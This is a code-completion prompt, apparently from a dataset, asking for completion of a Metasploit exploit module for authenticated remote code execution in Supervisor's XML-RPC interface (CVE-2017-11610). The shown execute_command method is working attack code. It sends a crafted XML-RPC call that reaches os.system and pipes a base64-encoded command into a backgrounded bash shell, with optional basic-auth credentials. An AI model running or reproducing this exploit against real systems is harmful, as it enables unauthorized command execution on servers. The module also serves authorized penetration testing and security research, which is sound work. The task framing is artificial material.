You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: supervisor_xmlrpc_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Supervisor XML-RPC Authenticated Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability in the Supervisor process control software
    
  def execute_command(cmd, opts = {})

    # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
    # Credit to the following urls for the os.system() payload
    # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
    # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
    xml_payload = %{<?xml version="1.0"?>
<methodCall>
  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  <params>
    <param>
      <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string>
    </param>
  </params>
</methodCall>}

    # Send the XML-RPC payload via POST to the specified endpoint
    endpoint_path = target_uri.path
    print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")

    params = {
      'method'        => 'POST',
      'uri'           => normalize_uri(endpoint_path),
      'ctype'         => 'text/xml',
      'headers'       => {'Accept' => 'text/xml'},
      'data'          => xml_payload,
      'encode_params' => false
    }
    if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
      print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
      params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
    end
    return send_request_cgi(params, timeout=5)

  end